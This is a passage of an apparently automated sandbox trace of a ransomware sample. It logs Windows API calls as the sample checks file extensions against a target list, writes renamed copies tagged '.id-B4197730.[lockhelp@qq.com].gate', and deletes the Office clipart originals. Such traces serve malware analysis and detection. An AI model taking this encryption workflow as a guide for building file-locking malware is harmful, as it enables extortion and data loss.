(lpString=".ppt") returned 4 [0282.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0282.921] lstrlenW (lpString=".zip") returned 4 [0282.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.921] lstrlenW (lpString=".rar") returned 4 [0282.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.922] lstrlenW (lpString=".bz2") returned 4 [0282.922] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.922] lstrlenW (lpString=".7z") returned 3 [0282.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0282.922] lstrlenW (lpString=".dbf") returned 4 [0282.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0282.922] lstrlenW (lpString=".1cd") returned 4 [0282.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0282.922] lstrlenW (lpString=".jpg") returned 4 [0282.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0282.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0282.922] lstrlenW (lpString=".doc") returned 4 [0282.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.922] lstrlenW (lpString=".docx") returned 5 [0282.922] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.922] lstrlenW (lpString=".pdf") returned 4 [0282.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.922] lstrlenW (lpString=".xls") returned 4 [0282.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.922] lstrlenW (lpString=".xlsx") returned 5 [0282.922] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.922] lstrlenW (lpString=".ppt") returned 4 [0282.922] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0282.922] lstrlenW (lpString=".zip") returned 4 [0282.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.922] lstrlenW (lpString=".rar") returned 4 [0282.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.923] lstrlenW (lpString=".bz2") returned 4 [0282.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.923] lstrlenW (lpString=".7z") returned 3 [0282.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0282.923] lstrlenW (lpString=".dbf") returned 4 [0282.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0282.923] lstrlenW (lpString=".1cd") returned 4 [0282.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0282.923] lstrlenW (lpString=".jpg") returned 4 [0282.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.923] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.923] lstrlenW (lpString="BD07761_.WMF") returned 12 [0282.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0282.949] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=26748) returned 1 [0282.949] CloseHandle (hObject=0x4b4) returned 1 [0282.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x220 [0282.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0282.950] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.950] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0282.950] GetLastError () returned 0x0 [0282.950] ReadFile (in: hFile=0x4b4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x687c, lpOverlapped=0x0) returned 1 [0283.268] WriteFile (in: hFile=0x418, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x6880, lpOverlapped=0x0) returned 1 [0283.269] ReadFile (in: hFile=0x4b4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.269] WriteFile (in: hFile=0x418, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0283.269] SetEndOfFile (hFile=0x418) returned 1 [0283.276] CloseHandle (hObject=0x418) returned 1 [0283.282] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.282] SetEndOfFile (hFile=0x4b4) returned 1 [0283.295] CloseHandle (hObject=0x4b4) returned 1 [0283.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0283.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0283.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0283.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0283.296] lstrlenW (lpString=".doc") returned 4 [0283.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.296] lstrlenW (lpString=".docx") returned 5 [0283.296] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.296] lstrlenW (lpString=".pdf") returned 4 [0283.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.296] lstrlenW (lpString=".xls") returned 4 [0283.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.296] lstrlenW (lpString=".xlsx") returned 5 [0283.296] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.296] lstrlenW (lpString=".ppt") returned 4 [0283.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0283.296] lstrlenW (lpString=".zip") returned 4 [0283.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.297] lstrlenW (lpString=".rar") returned 4 [0283.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.297] lstrlenW (lpString=".bz2") returned 4 [0283.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.297] lstrlenW (lpString=".7z") returned 3 [0283.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0283.297] lstrlenW (lpString=".dbf") returned 4 [0283.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0283.297] lstrlenW (lpString=".1cd") returned 4 [0283.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0283.297] lstrlenW (lpString=".jpg") returned 4 [0283.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0283.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0283.297] lstrlenW (lpString=".doc") returned 4 [0283.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.297] lstrlenW (lpString=".docx") returned 5 [0283.297] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.297] lstrlenW (lpString=".pdf") returned 4 [0283.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.297] lstrlenW (lpString=".xls") returned 4 [0283.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.297] lstrlenW (lpString=".xlsx") returned 5 [0283.297] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.297] lstrlenW (lpString=".ppt") returned 4 [0283.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0283.297] lstrlenW (lpString=".zip") returned 4 [0283.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.297] lstrlenW (lpString=".rar") returned 4 [0283.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.298] lstrlenW (lpString=".bz2") returned 4 [0283.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.298] lstrlenW (lpString=".7z") returned 3 [0283.298] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0283.298] lstrlenW (lpString=".dbf") returned 4 [0283.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0283.298] lstrlenW (lpString=".1cd") returned 4 [0283.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0283.298] lstrlenW (lpString=".jpg") returned 4 [0283.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.298] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0283.298] lstrlenW (lpString="BD07831_.WMF") returned 12 [0283.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0283.298] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=4066) returned 1 [0283.299] CloseHandle (hObject=0x4b4) returned 1 [0283.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x220 [0283.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0283.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0283.299] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.299] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0283.301] GetLastError () returned 0x0 [0283.301] ReadFile (in: hFile=0x4b4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0xfe2, lpOverlapped=0x0) returned 1 [0283.421] WriteFile (in: hFile=0x404, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xff0, lpOverlapped=0x0) returned 1 [0283.422] ReadFile (in: hFile=0x4b4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.422] WriteFile (in: hFile=0x404, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0283.422] SetEndOfFile (hFile=0x404) returned 1 [0283.422] CloseHandle (hObject=0x404) returned 1 [0283.423] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.423] SetEndOfFile (hFile=0x4b4) returned 1 [0283.425] CloseHandle (hObject=0x4b4) returned 1 [0283.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0283.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0283.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0283.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0283.426] lstrlenW (lpString=".doc") returned 4 [0283.426] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.426] lstrlenW (lpString=".docx") returned 5 [0283.426] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.426] lstrlenW (lpString=".pdf") returned 4 [0283.426] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.426] lstrlenW (lpString=".xls") returned 4 [0283.426] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.426] lstrlenW (lpString=".xlsx") returned 5 [0283.426] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.426] lstrlenW (lpString=".ppt") returned 4 [0283.426] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0283.426] lstrlenW (lpString=".zip") returned 4 [0283.427] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.427] lstrlenW (lpString=".rar") returned 4 [0283.427] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.427] lstrlenW (lpString=".bz2") returned 4 [0283.427] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.427] lstrlenW (lpString=".7z") returned 3 [0283.427] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0283.427] lstrlenW (lpString=".dbf") returned 4 [0283.427] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0283.427] lstrlenW (lpString=".1cd") returned 4 [0283.427] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0283.427] lstrlenW (lpString=".jpg") returned 4 [0283.427] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0283.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0283.427] lstrlenW (lpString=".doc") returned 4 [0283.427] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.427] lstrlenW (lpString=".docx") returned 5 [0283.427] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.427] lstrlenW (lpString=".pdf") returned 4 [0283.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.427] lstrlenW (lpString=".xls") returned 4 [0283.427] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.427] lstrlenW (lpString=".xlsx") returned 5 [0283.427] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.427] lstrlenW (lpString=".ppt") returned 4 [0283.427] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0283.427] lstrlenW (lpString=".zip") returned 4 [0283.427] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.428] lstrlenW (lpString=".rar") returned 4 [0283.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.428] lstrlenW (lpString=".bz2") returned 4 [0283.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.428] lstrlenW (lpString=".7z") returned 3 [0283.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0283.428] lstrlenW (lpString=".dbf") returned 4 [0283.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0283.428] lstrlenW (lpString=".1cd") returned 4 [0283.428] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0283.428] lstrlenW (lpString=".jpg") returned 4 [0283.428] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.428] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0283.428] lstrlenW (lpString="BD08868_.WMF") returned 12 [0283.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0283.429] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=40206) returned 1 [0283.429] CloseHandle (hObject=0x4b4) returned 1 [0283.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x220 [0283.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0283.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0283.429] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.429] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0283.430] GetLastError () returned 0x0 [0283.430] ReadFile (in: hFile=0x4b4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x9d0e, lpOverlapped=0x0) returned 1 [0283.720] WriteFile (in: hFile=0x404, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x9d10, lpOverlapped=0x0) returned 1 [0283.721] ReadFile (in: hFile=0x4b4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.721] WriteFile (in: hFile=0x404, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0283.721] SetEndOfFile (hFile=0x404) returned 1 [0283.721] CloseHandle (hObject=0x404) returned 1 [0283.723] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.723] SetEndOfFile (hFile=0x4b4) returned 1 [0283.725] CloseHandle (hObject=0x4b4) returned 1 [0283.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0283.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0283.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0283.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0283.726] lstrlenW (lpString=".doc") returned 4 [0283.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.727] lstrlenW (lpString=".docx") returned 5 [0283.727] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.727] lstrlenW (lpString=".pdf") returned 4 [0283.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.727] lstrlenW (lpString=".xls") returned 4 [0283.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.727] lstrlenW (lpString=".xlsx") returned 5 [0283.727] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.727] lstrlenW (lpString=".ppt") returned 4 [0283.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0283.727] lstrlenW (lpString=".zip") returned 4 [0283.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.727] lstrlenW (lpString=".rar") returned 4 [0283.727] lstrcmpiW 